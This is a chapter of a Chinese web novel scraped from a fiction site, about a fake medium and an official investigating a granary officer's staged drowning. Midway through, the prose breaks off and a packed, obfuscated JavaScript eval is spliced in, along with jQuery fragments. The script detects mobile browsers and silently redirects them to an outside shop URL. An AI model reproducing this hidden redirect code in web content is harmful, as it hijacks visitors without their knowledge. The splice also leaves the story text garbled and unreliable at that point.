文趣网 > 其他小说 > 谎话精被真心话系统拿捏了 > 2. 胡说八道
    “咚咚咚——”庞府的大门在夜里再一次被叩响。

    “去去去,哪里来的骗子,我们不招人了!”庞府管家隔着门没好气地说道。

    片刻后,一道气度不凡的声音在门后响起,如清泉击石,敲冰碎琼。

    “在下大理寺少卿,裴绿行。”

    管家连忙把门打开,把人迎进来。

    “原来是裴少卿,小人失礼了。”

    裴绿行站于檐廊之下,长身玉立,芝兰玉树,皎皎如云中月,不需身份文牒便可知此人贵气逼人。

    管家不疑有他,连忙引他去见钱夫人。

    裴绿行问,“你刚才说,你们不招人?”

    管家把钱府这几日的遭遇一五一十详细同裴绿行说了一遍,说罢又摇头长叹,“刚才来了位衣着光鲜的小娘子,她说她师从太卜署,我想着既然是官家的女巫自然靠谱,没成想也是个骗子!”

    太卜署乃官设占卜机构,管家也是想着既然是官家的人,自然要靠谱一些,却没成想仍然是遭了骗。

    管家引他去了停灵处,却听见激烈的争执声。

    游霜银被当场拿下,却大声喊冤,“刚才那是钱司仓附我身上所言,夫人为何不信?”

    钱夫人更是被气得面红耳赤,“难不成依你这妖女所言,素来急公好义的夫君成了一个欺上瞒下的骗子?”

    钱司仓在献春城中素有贤名,百姓们无不爱戴有加。

    要说钱司仓附身于她,还借她之口宣称自己是骗子,简直是痴人说梦,荒诞不经。

    要怪就怪系统,技能释放不成功就算了,还反手给了她一个惩罚,让她大庭广众之下说出了一句真心话。

    大胆系统,竟敢谋害于她!

    坏了坏了,这下好了,她的一世英名都要尽数毁于此了。

    为什么技能会施展失败?

    问题出在哪里?

    寻常施展死者交谈时,她从来没遇见过失败,但是她连续问了钱司仓三次,三次都是1点大失败。

    系统提示对钱司仓施展死者交谈需要更高的技能熟练度,但是钱司仓的尸体有什么特殊之处吗?

    她往常也不是没有问过死去的达官贵人,以及溺水而亡者,到底还有哪里特殊的?

    难道……

    她灵光一现,“钱司仓不是溺水而亡,而是被人杀害后掷于河水之中的!”

    难怪钱司仓的尸体和寻常溺死之人的尸体有着诸多不一样之处。

    想明白了这一茬,游霜银有了底气开始自圆其说,“钱司仓亲口对我说,他欺骗了惹不得的人,遭了报复。”

    钱夫人仍然不信,“我夫君为官十载,名誉声望是有口皆碑,远的不说,三年前要是没我夫君纵火烧粮,只怕这献春城里要瘟疫肆虐,横尸遍野了。”

    她越说越气,眼尾飞红,珠泪盈眶,“至于你,居然敢在此大言不惭,说我夫君是个欺世盗名的骗子。”

    “妾身不才,虽久居宅院之内,却也甘愿为夫君名声上堂作证,指认你这坑蒙拐骗的骗子行骗不成,反而污我夫君清誉。”

    钱夫人一声令下,游霜银手脚被缚,当即就要被扭送官府,却正撞上初来乍到的裴绿行。

    钱府管家把裴绿行的身份和来意一一对钱夫人禀报。

    钱夫人听罢,拭泪整装,朝裴绿行盈盈一拜。

    “裴少卿来的正好,妾正要把这满口谎言的骗子交予少卿,还请裴少卿还我夫君一个公道。”

    裴绿行没接话茬,走到钱司仓棺椁旁,腥臭与熏香味交杂,直冲他面门,然而他眉头却不皱一下,那双长年养尊处优的手突然探入棺内,在钱司仓的发顶摸索。

    发顶处有一细小空洞,可容纳一根长针刺入。

    钱司仓是被人用一根细长银针捅入脑后,瞬间毙命。那人在杀了他之后,将针拔出,再将尸首抛入河中,装成是失足落水的假象。

    是谁跟钱司仓如此大仇,要这样致他于死命?

    又为何如此小心谨慎,故布疑阵,让众人以为钱司仓是失足落水?

    片刻后,他收回手,从怀中拿出一方锦帕,缭绫做底,上绣青竹,他一边擦手一边看向游霜银,“你说你师从太卜署樊女巫,可我记得太卜署并没有姓樊的女巫。”

    游霜银真是倒霉透了,先是被系统坑了个大的,还被这位京官当众揭了老底。

    她的眼睛滴溜溜转了半天,这才结结巴巴接上话,“我师父曾经在太卜署,现在在献春安享晚年,所以你不知道……”

    裴绿行没有再搭理游霜银的假话,而是话锋一转,“你说钱司仓欺骗他人,可有证据?”

    游霜银努力保持人设:“自然是钱司仓告——”

    裴绿行吩咐下去:“胡言乱语,装神弄鬼,押进大牢。”

    游霜银当即认怂:“青天大老爷,我说的是实话!”

    眼前人所说,裴绿行一个字都没信。

    此番南下查察钱司仓溺水案是受圣人所托,表面虽是风平浪静,然而这献春城中风谲云诡,暗流涌动。

    他甫一露面,便有人将案件将私仇方向引。

    越是如此,他便越要将此事查个彻底。

    ***

    游霜银第一次进大牢,一开始还是新鲜,一炷香之后变成了惊悚。

    她坐下来时忽觉小腿一痒,还以为是稻草扎人所致,没想到掀开稻草,正好与一只灰色硕鼠撞了个对眼。

    大眼对小眼,王八对绿豆。

    然后她开始异想天开。

    既然死者能交谈,那么动物是不是也……?

    游霜银小心翼翼地朝老鼠伸出手,准备和它进行友好协商。

    “啊啊啊啊啊,老鼠怎么咬人!”

    老鼠拒绝了她的交谈,还反咬了她一口。

    游霜银这才意识到,死者不会咬人,但是老鼠会咬人。

    她看着被咬出血的手指头,欲哭无泪,也不知道会不会染上鼠疫。

    都怪那个裴绿行,说关就关,连个解释的机会都不给。

    她正暗自咒骂,眼前却突然出现了一方锦帕,缭绫青竹,正是裴绿行拿来擦手的那一条。

    那方手帕被游霜银丢到地上还被踩了两脚,游霜银气愤道:“裴少卿是怕我没被老鼠传上病,还特意送来一块沾有尸气的帕子,想让我病死狱中?”

    裴绿行倒也不恼,下令让狱卒把牢门打开。

    狱卒退下后,裴绿行步入牢中。

    游霜银趁其不备,秦王绕柱奔到牢房之外,并眼疾手快地把牢门给重新锁上了。

    她拍拍手上的木屑,神色得意,“裴少卿就好好在牢里审老鼠吧。”

    裴绿行却并不慌乱,“你今夜走得出去,我明日便可以发你的通缉令。”

    游霜银回过头来,挑衅道,“我还以为裴少卿今夜屈尊下狱,是来……放了我的。”

    这三更半夜,千尊万贵的裴少卿纡尊降贵,大驾光临监狱,总不至于是来吟风弄月的吧?

    裴绿行确实有意放了她,白日里人多口杂,将她下狱也是为了隔绝耳目,此时此刻最适合开诚布公。

    “你是如何看出钱司仓是被人谋杀的?”

    “你又为何要假借鬼神之说,暗指钱司仓欺骗他人,将案件引向私仇方向?”

    “你到底有什么目的,是谁派你来的?”

    游霜银翻了个白眼强调道:“我说了是钱司仓告诉——”

    话还没说完,裴绿行用袖中的钥匙打开了牢门,把牢门拉开,站在一旁恭候,一幅请君入瓮的姿态。

    ……

    游霜银认怂果断,“我见过溺死的尸体,他的尸体不像溺水而亡,这一点裴少卿应该也看得出来。”

    见裴绿行没翻脸,游霜银继续试探着往下说:“我真的只是为了钱府的五百两银子来的,既然裴少卿不同意,那我走就是了。”

    话音刚落,她转头就跑。

    “慢着。”

    是翻脸无情,反复无常,最会朝更暮改的裴少卿啊。

    心里骂归骂,游霜银转过身来,露出一脸媚笑,“裴少卿还有何吩咐?”

    裴绿行跟在她身后,淡然朝她伸出手,“手给我。”

    他,他他——不会还打算上夹棍严刑逼供吧?

    裴绿行见游霜银双目瞪圆,一脸匪夷所思的神情,不知道又在心里怎么骂他了。

    他从怀中拿出一个药瓶,解释道:“牢中鼠患,是我疏忽,你被硕鼠所咬,我责无旁贷,给你上药就当赔罪。”

    无事献殷勤,非奸即盗。

    游霜银转头就走,却被裴绿行抢先一步扣住手腕。

    热意交缠的那一刻,两人俱是一愣。

    游霜银先反应过来,拿另外一只手护住胸,小心谨慎地看着裴绿行,裴绿行却只是指腹沾上药粉按上她指尖的伤口,力道轻柔得如同鲛绡拂过。

    十指连心,那一瞬间,游霜银的心头也忽然一动。

    然而下一秒,手指上的伤口开始麻痒,像是有成千上万只蚂蚁在啃噬她的指尖。

    她脸色一变,几乎是脱口而出:“你给我下毒?”

    “是去腐生肌的良药。”他答得不紧不慢,仿佛那药效的剧烈疼痛对于游霜银而言,是轻而易举就能承受的一般。

    游霜银下意识地抽回手,想要把手指上的药粉擦干净,裴绿行却不遂她愿,又从怀里摸出一条手帕,把她的手指捆成了待煮的猪蹄。

    裴绿行打完结收回手,见游霜银单手打不开那个结,这才悠悠然地开口。

    “这药见效快,明日便可完全痊愈,也不会留疤,只是刚敷上时的疼痛常人难

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898460|212902||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    以忍受。”

    游霜银正要反唇相讥,却又听得裴绿行补了下半句。

    “不过我瞧娘子刚才步伐灵活出手敏捷,不似寻常之人,这小小的药效,想来娘子是能够轻易忍住的。”

    游霜银:……我还得对你说谢谢?

    好在疼痛转瞬即过,游霜银悬着的心放下大半,走出牢狱,准备返家。

    裴绿行的侍从此刻从钱府返回,抱着一沓书册复命,“钱府上下书册俱已在此,郎君要现在过目吗?”

    游霜银的脚步停了下来。

    或许是直觉,或许是系统的脑控,她莫名觉得如果能拿到钱司仓的关键书册,或许能对于她的死者交谈技能是一个加持,那些通灵之术不都是可以用死者的贴身物件施展的吗?

    她转过身来,两眼发光地看向裴绿行。

    裴绿行问:“有事?”

    游霜银面露狡黠,“我想,钱司仓的私人书册里或许有他蒙骗的记录,到时候裴少卿查看完就能证明我所言非虚了。”

    “若你所言属实,我明日必当上门致歉。”

    裴绿行说完正准备送客,却听游霜银拖着无赖的语调截住了他的话。

    “我呢,不留隔夜仇,裴少卿今晚要通宵达旦,那我不如就在一旁候着,随时随地等着裴少卿的道歉,怎么样?”

    这话说得张狂,侍从正准备把人丢出去,裴绿行伸手拦住。

    他没有制止,相反,还把游霜银给请了进去。

    钱司仓的书册画卷堆了满屋子,屋中灯火通明,裴绿行,他的贴身侍从以及司马和长史都在此一一翻看。

    游霜银见无人在意,便偷偷拿了一本来翻看。

    钱司仓是掌管粮草库房的官员,账目写得工整详细,就连日记也记载详细,诸如何时何地购入古董,何日在哪大宴宾客,宾客何人。

    游霜银粗略翻了一遍,觉得这完全不像是一本日记,倒更像是一本手账。

    钱司仓拮据至此,竟然连生活里所用的每一文都要详细记录了吗?

    看来,他真的是个清风两袖的好官。

    就当游霜银准备把钱司仓的日记放回去之时,她的手指拂过日记纸页,顿觉有异。

    这纸触感细腻,按理来说是上好的宣纸,但是宣纸向来以薄而不透为佳品,这书册里的宣纸又为何这么厚重?

    这书册就像是每两页便被浆在了一起,作为一页,而这一页的中间,必然藏着古怪。

    她借打呵欠为由,四下张望了一圈,所有人都在埋头翻阅,没人注意到她,她立即将这本书册藏于怀中,装作是上茅房的模样,往外而去。

    游霜银出了屋子,见明月皎皎,庭下如积水空明,遂停下脚步,借三寸月光,破开纸页夹层,里面果不其然有一封书信。

    「吾蹉跎半生,庸庸碌碌,本以为吾只配庸名一世,不曾想也有得百姓嘉誉一日。吾得名望加身,本应喜不自胜,然吾内心有愧,不忍受之。」

    「卿卿爱妻若阅得此信,则吾已不在人间。万望卿卿携信赴京,上达天听,以盼天子能彻查三年前的赈灾粮生霉一事,以慰百姓。吾虽身死亦无憾矣!」

    赈灾粮?

    常听人言,三年前江南水患,献春首当其冲。朝廷调拨粮草救济,却逢连月大雨,导致赈灾粮运过来时已经霉变生虫。

    赈灾粮乃圣人天恩,未经禀报不可擅自处置,再加上府库米粮告急,故刺史命人将好粮与糟粮混煮,施舍灾民,却致上万灾民染疾生病。

    钱司仓见灾民贫病交迫,一把火烧掉生霉的赈灾粮,逼迫刺史动用府库存银购入粮商余粮,这才解了献春粮尽之急。

    烧粮之事传回圣人耳里,圣人却言钱司仓仁义,又挑拨了一笔款项来补充库银。

    可钱司仓为什么会说自己问心有愧?

    难道,他的贤名都是骗来的,三年前赈灾粮的事情并不像百姓嘴里传颂的那样简单?

    游霜银将这张书信收入怀中,余光里发现久未动弹的系统日志突然弹出一条信息:

    获得任务物品:[钱司仓的自白]

    这一定是一件关键物品,说不定她可以凭借这份自白书跟钱司仓搭上话。

    现在钱司仓的尸体已被裴绿行抬回县衙,此刻无人在意她,她只要悄悄遛进县衙的停尸房,便可以悄悄对钱司仓施展死者交谈。

    ***

    而屋里的人对于她的悄然离去并不是无知无觉。

    裴绿行身边侍从赵云朗见游霜银出去后,便放下书册,附耳私语裴绿行,“郎君,她刚刚拿了本书走了。”

    裴绿行正举盏浅斟,骤闻此话,杯中茶汤水波不兴,凡事皆在他预料之内。

    他把游霜银留在身边,为的就是静观其变。

    裴绿行见鱼上钩,立即起身,“跟上她。”